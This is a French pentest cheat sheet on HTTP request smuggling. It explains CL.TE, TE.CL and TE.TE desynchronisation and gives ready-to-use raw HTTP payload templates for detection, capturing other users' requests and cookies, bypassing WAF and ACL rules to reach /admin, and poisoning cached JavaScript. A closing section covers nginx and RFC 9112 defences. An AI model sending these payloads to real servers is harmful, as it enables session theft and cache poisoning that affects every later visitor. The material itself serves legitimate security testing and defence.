http-smugglingcltetecl
MDstable
HTTP Request Smuggling
CL.TE, TE.CL, TE.TE — désynchronisation frontend/backend, cache poisoning, bypass WAF
snippetadvanced 2026-05-14 4 min read
http-smugglingcltetecldesyncburpsuitewaf-bypasspentest
Principe
Architecture cibleClient Frontend proxy/load-balancer Backend serveur applicatifLit Content-Length Lit Transfer-EncodingVulnrabilit frontend et backend dsaccords sur la limite dune requte HTTP/1.1Un attaquant peut "empoisonner" la file de requtes backendLa queue de l'attaquant est lue comme début de la prochaine requête d'une victime
Types de désynchronisation
CLTE Frontend utilise Content-Length, Backend utilise Transfer-EncodingTECL Frontend utilise Transfer-Encoding, Backend utilise Content-LengthTETE Les deux utilisent TE mais lun ignore les encodages obfusqus
CL.TE — Content-Length / Transfer-Encoding
http
Variables
{{TARGET}}
POST / HTTP/1.1Host: {{TARGET}}Content-Length: 13Transfer-Encoding: chunked0SMUGGLED
ExplicationFrontend lit Content-Length: 13 envoie tout "0\r\n\r\nSMUGGLED" au backendBackend lit Transfer-Encoding: chunked "0\r\n\r\n" fin du chunk fin de requte"SMUGGLED" reste dans le buffer backend prfixe de la prochaine requte
Confirmation CL.TE (timing)
http
Variables
{{TARGET}}
POST / HTTP/1.1Host: {{TARGET}}Content-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked1AX
Si dlai de dans la rponse Backend attend la fin du chunk "X"CLTE confirm
TE.CL — Transfer-Encoding / Content-Length
http
Variables
{{TARGET}}
POST / HTTP/1.1Host: {{TARGET}}Content-Length: 3Transfer-Encoding: chunked8SMUGGLED0
ExplicationFrontend lit Transfer-Encoding "8\r\nSMUGGLED\r\n0\r\n\r\n" 2 chunks finBackend lit Content-Length: 3 lit seulement "8\r\n" et stoppe"SMUGGLED\r\n0\r\n\r\n" reste prfixe de la prochaine requte victim
TE.TE — Obfuscation Transfer-Encoding
http
# Techniques d'obfuscation TE :Transfer-Encoding: xchunkedTransfer-Encoding: chunked, xTransfer-Encoding : chunked # espace avant les deux-pointsTransfer-encoding: chunked # casse différenteX: X\r\nTransfer-Encoding: chunked # dans un header étendu
Burp Suite — Détection automatique
Extension Burp HTTP Request Smuggler James Kettle PortSwigger1 Installer via BApp Store "HTTP Request Smuggler"2 Clic droit sur une requte Extensions HTTP Request Smuggler Smuggle probe3 Rsultats dans le panneau "Logger"Manual via RepeaterDsactiver "Update Content-Length" dans RepeaterCocher "Allow HTTP/1 keep-alive requests"Envoyer les payloads ci-dessus, observer dlai et erreurs
Exploitation — Capturer la requête d'une victime
http
Variables
{{TARGET}}
POST / HTTP/1.1Host: {{TARGET}}Content-Length: 130Transfer-Encoding: chunked0POST /capture HTTP/1.1Host: {{TARGET}}Content-Type: application/x-www-form-urlencodedContent-Length: 800body=
Mcanisme1 Notre requte pousse "POST /capture ... body=" dans le buffer backend2 La prochaine requte dune victime est ajoute aprs "body="3 Le backend reoit une requte /capture avec le corps requte complte de la victime4 Si /capture stocke le body ex champ profil commentaire on lit la requte de la victimeHeaders cookies tokens de la victime exposs
Exploitation — Bypass WAF
http
Variables
{{TARGET}}
# Le WAF inspecte le frontend (body "normal")# Le backend reçoit le payload malveillant comme continuation de requêtePOST / HTTP/1.1Host: {{TARGET}}Content-Length: 49Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: {{TARGET}}X: GARBAGE
Rsultat la prochaine victime envoie GET /homepageBackend reoit GET /admin contenu de la requte victime bypass ACL
Exploitation — Cache Poisoning via Smuggling
http
Variables
{{TARGET}}
POST / HTTP/1.1Host: {{TARGET}}Content-Length: 59Transfer-Encoding: chunked0GET /js/app.js HTTP/1.1Host: {{TARGET}}X-Foo: bar
Si le cache met en cache la rponse de /js/app.js avec notre contenu injectCache poisoning tous les visiteurs suivants reoivent le JS malveillant
Défense
nginx
# Nginx — désactiver la réutilisation des connexions backend (évite la désynchronisation)proxy_http_version 1.1;proxy_set_header Connection ""; # force le close après chaque requête# Valider strictement le Content-Lengthproxy_request_buffering on;
Mesures serveurHTTP/2 uniquement frontendbackend pas de HTTP/1.1 pas de smugglingNormaliser les requtes au frontend rejeter celles avec CL TE simultanmentValider que CL longueur relle du body avant transfertHAProxy Nginx rcents correction built-in si bien configursRFC 9112 HTTP/1.1Si une requte contient CL ET TE TE a priorit CL doit tre ignorSi un serveur reoit les deux il doit rejeter la requte 400 Bad Request
⚠ Attention —
HTTP Request Smuggling a un impact potentiel extrêmement élevé : capture de sessions d'autres utilisateurs, bypass de WAF/ACL, empoisonnement de cache en masse. La détection est difficile car l'attaque laisse peu de traces côté frontend. Tester systématiquement en présence d'un reverse proxy ou load-balancer HTTP/1.1.
OPS·BRAIN v1.075 notes · Securitylocal